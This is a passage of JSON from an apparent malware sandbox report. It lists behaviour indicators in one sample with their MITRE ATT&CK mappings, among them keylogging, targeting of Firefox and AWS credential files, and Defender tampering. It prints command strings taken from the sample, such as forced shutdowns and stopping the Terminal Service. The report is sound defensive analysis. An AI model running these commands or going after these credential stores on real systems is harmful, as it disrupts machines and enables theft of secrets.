applications","description":"$67","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"Found string \"[Backspace]\" (Indicator: \"[BACKSPACE]\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"[Backspace]\" (Indicator: \"[BACKSPACE]\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$68","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Firefox browser credentials files","description":"Found string \"key4.db\" (Indicator: \"key4.db\"; in File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"key4.db\" (Indicator: \"key4.db\"; in Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.003","relevance":1,"id":"string-405","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Strings related to file managers detected","description":"\"RDP/RecentConnections.txt\" (Indicator: \"connections.txt\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":3,"id":"string-136","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Destruction","name":"Able to permanently delete files from the Recycle Bin","description":"Found string \"SHEmptyRecycleBinA\" (File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"SHEmptyRecycleBinA\" (Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-922","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"Found reference to API \"NetUserDel\" (Indicator: \"NetUserDel\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"NetUserDel\" (Indicator: \"NetUserDel\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to lock the workstation's display (API string)","description":"Found reference to API \"LockWorkStation\" (Indicator: \"LockWorkStation\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"LockWorkStation\" (Indicator: \"LockWorkStation\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1499","relevance":1,"id":"string-221","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Able to access AWS credential file","description":"Found string \"aws_access_key_id\" (Indicator: \"aws_access_key_id\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"aws_secret_access_key\" (Indicator: \"aws_secret_access_key\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"aws_session_token\" (Indicator: \"aws_session_token\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"aws_access_key_id\" (Indicator: \"aws_access_key_id\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found string \"aws_secret_access_key\" (Indicator: \"aws_secret_access_key\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found string \"aws_session_token\" (Indicator: \"aws_session_token\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1528","relevance":1,"id":"string-5076","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigA\" (Indicator: \"changeserviceconfiga\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"ChangeServiceConfigA\" (Indicator: \"changeserviceconfiga\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteTreeA\" in file \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\"\n Found registry deletion API: \"RegDeleteValueW\" in file \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\"\n Found registry deletion API: \"RegDeleteKeyA\" in file \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteTreeA\" in \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Calls APIs used for Remove Service","description":"Observed import api \"DeleteService\" which can \"Deregister service in Service Control Manager database\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-188","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Calls an API used to change the configuration parameters of a service","description":"Observed import api \"ChangeServiceConfig\" which can be \"used to change the configuration parameters of a service\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-193","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$69","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to create local account","description":"file/memory contains long string with (Indicator: \"net user \"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n file/memory contains long string with (Indicator: \"net user \"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-528","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"SetInformationFile\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"SetInformationFile\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify volumes (Powershell command string)","description":"Found string \"cmd.exe /C \"powershell -NoProfile -Command \"Get-Volume | Select-Object DriveLetter,FileSystemLabel,FileSystem,DriveType,HealthStatus,SizeRemaining,Size | ConvertTo-Csv -NoTypeInformation\" > \"%s\"\"\" (Indicator: \"Get-Volume\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"cmd.exe /C \"powershell -NoProfile -Command \"Get-Volume | Select-Object DriveLetter,FileSystemLabel,FileSystem,DriveType,HealthStatus,SizeRemaining,Size | ConvertTo-Csv -NoTypeInformation\" > \"%s\"\"\" (Indicator: \"Get-Volume\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-388","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\n Observed string: \"Shutdown /l /f\" (Indicator: \"shutdown \") in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\n Observed string: \"Shutdown /s /f /t 00\" (Indicator: \"shutdown \") in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\n Observed string: \"Shutdown /r /f /t 00\" (Indicator: \"shutdown \") in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\n Observed string: \"Shutdown /l /f\" (Indicator: \"shutdown \") in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp\n Observed string: \"Shutdown /s /f /t 00\" (Indicator: \"shutdown \") in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp\n Observed string: \"Shutdown /r /f /t 00\" (Indicator: \"shutdown \") in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop windows services","description":"Found string \"net stop TermService /y\" (Indicator: \"net stop\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"net stop TermService /y\" (Indicator: \"net stop\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-522","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"